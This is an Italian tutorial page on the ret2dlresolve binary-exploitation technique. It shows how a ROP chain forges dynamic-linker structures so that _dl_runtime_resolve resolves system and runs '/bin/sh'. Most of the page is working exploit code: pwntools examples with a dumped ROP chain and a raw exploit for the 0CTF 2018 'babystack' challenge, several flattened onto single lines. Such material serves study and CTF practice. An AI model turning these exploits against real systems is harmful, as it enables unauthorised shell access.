Come spiegato nella pagina su GOT/PLT e Relro, i binari senza Full Relro risolveranno i simboli (come indirizzi a librerie esterne) la prima volta che vengono utilizzati. Questa risoluzione avviene chiamando la funzione _dl_runtime_resolve.
La funzione _dl_runtime_resolve prende dallo stack riferimenti a alcune strutture di cui ha bisogno per risolvere il simbolo specificato.
Pertanto, è possibile falsificare tutte queste strutture per far sì che la risoluzione dinamica colleghi il simbolo richiesto (come la funzione system) e chiamarla con un parametro configurato (ad es. system('/bin/sh')).
Di solito, tutte queste strutture vengono falsificate creando una catena ROP iniziale che chiama read su una memoria scrivibile, quindi le strutture e la stringa '/bin/sh' vengono passate in modo che vengano memorizzate da read in una posizione nota, e poi la catena ROP continua chiamando _dl_runtime_resolve, facendola risolvere l'indirizzo di system nelle strutture falsificate e chiamando questo indirizzo con l'indirizzo a '$'/bin/sh'.
Questa tecnica è utile specialmente se non ci sono gadget syscall (per utilizzare tecniche come ret2syscall o SROP) e non ci sono modi per leak indirizzi libc.
Guarda questo video per una bella spiegazione su questa tecnica nella seconda metà del video:
Oppure controlla queste pagine per una spiegazione passo-passo:
context.binary = elf =ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))>>> rop =ROP(elf)>>> dlresolve =Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])>>> rop.read(0, dlresolve.data_addr)# do not forget this step, but use whatever function you like>>> rop.ret2dlresolve(dlresolve)>>> raw_rop = rop.chain()>>>print(rop.dump())0x0000:0x400593 pop rdi; ret0x0008:0x0 [arg0] rdi =00x0010:0x400591 pop rsi; pop r15; ret0x0018:0x601e00 [arg1] rsi =62991360x0020:b'iaaajaaa'<pad r15>0x0028:0x4003f0 read0x0030:0x400593 pop rdi; ret0x0038:0x601e48 [arg0] rdi =62992080x0040:0x4003e0 [plt_init] system0x0048:0x15670 [dlresolve index]
Esempio
Pure Pwntools
Puoi trovare un esempio di questa tecnica quiche contiene una spiegazione molto buona della catena ROP finale, ma qui c'è l'exploit finale utilizzato:
from pwn import*elf = context.binary =ELF('./vuln', checksec=False)p = elf.process()rop =ROP(elf)# create the dlresolve objectdlresolve =Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])rop.raw('A'*76)rop.read(0, dlresolve.data_addr)# read to where we want to write the fake structuresrop.ret2dlresolve(dlresolve)# call .plt and dl-resolve() with the correct, calculated reloc_offsetlog.info(rop.dump())p.sendline(rop.chain())p.sendline(dlresolve.payload)# now the read is called and we pass all the relevant structures inp.interactive()
Crudo
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystackfrom pwn import*target =process('./babystack')#gdb.attach(target)elf =ELF('babystack')# Establish starts of various sectionsbss =0x804a020dynstr =0x804822cdynsym =0x80481ccrelplt =0x80482b0# Establish two functionsscanInput =p32(0x804843b)resolve =p32(0x80482f0)#dlresolve address# Establish size of second payloadpayload1_size =43# Our first scan# This will call read to scan in our fake entries into the plt# Then return back to scanInput to re-exploit the bugpayload0 =""payload0 +="0"*44# Filler from start of input to return addresspayload0 +=p32(elf.symbols['read'])# Return readpayload0 += scanInput # After the read call, return to scan inputpayload0 +=p32(0)# Read via stdinpayload0 +=p32(bss)# Scan into the start of the bsspayload0 +=p32(payload1_size)# How much data to scan intarget.send(payload0)# Our second scan# This will be scanned into the start of the bss# It will contain the fake entries for our ret_2_dl_resolve attack# Calculate the r_info value# It will provide an index to our dynsym entrydynsym_offset = ((bss +0xc) - dynsym) /0x10r_info = (dynsym_offset <<8) |0x7# Calculate the offset from the start of dynstr section to our dynstr entrydynstr_index = (bss +28) - dynstrpaylaod1 =""# Our .rel.plt entrypaylaod1 +=p32(elf.got['alarm'])paylaod1 +=p32(r_info)# Emptypaylaod1 +=p32(0x0)# Our dynsm entrypaylaod1 +=p32(dynstr_index)paylaod1 +=p32(0xde)*3# Our dynstr entrypaylaod1 +="system\x00"# Store "/bin/sh" here so we can have a pointer ot itpaylaod1 +="/bin/sh\x00"target.send(paylaod1)# Our third scan, which will execute the ret_2_dl_resolve# This will just call 0x80482f0, which is responsible for calling the functions for resolving# We will pass it the `.rel.plt` index for our fake entry# As well as the arguments for system# Calculate address of "/bin/sh"binsh_bss_address = bss +35# Calculate the .rel.plt offsetret_plt_offset = bss - relpltpaylaod2 =""paylaod2 +="0"*44paylaod2 += resolve # 0x80482f0paylaod2 +=p32(ret_plt_offset)# .rel.plt offsetpaylaod2 +=p32(0xdeadbeef)# The next return address after 0x80482f0, really doesn't matter for uspaylaod2 +=p32(binsh_bss_address)# Our argument, address of "/bin/sh"target.send(paylaod2)# Enjoy the shell!target.interactive()
32bit, senza relro, senza canary, nx, senza pie, overflow di buffer di base e ritorno. Per sfruttarlo, il bof viene utilizzato per chiamare read di nuovo con una sezione .bss e una dimensione maggiore, per memorizzare lì le tabelle fake di dlresolve per caricare system, tornare a main e riutilizzare il bof iniziale per chiamare dlresolve e poi system('/bin/sh').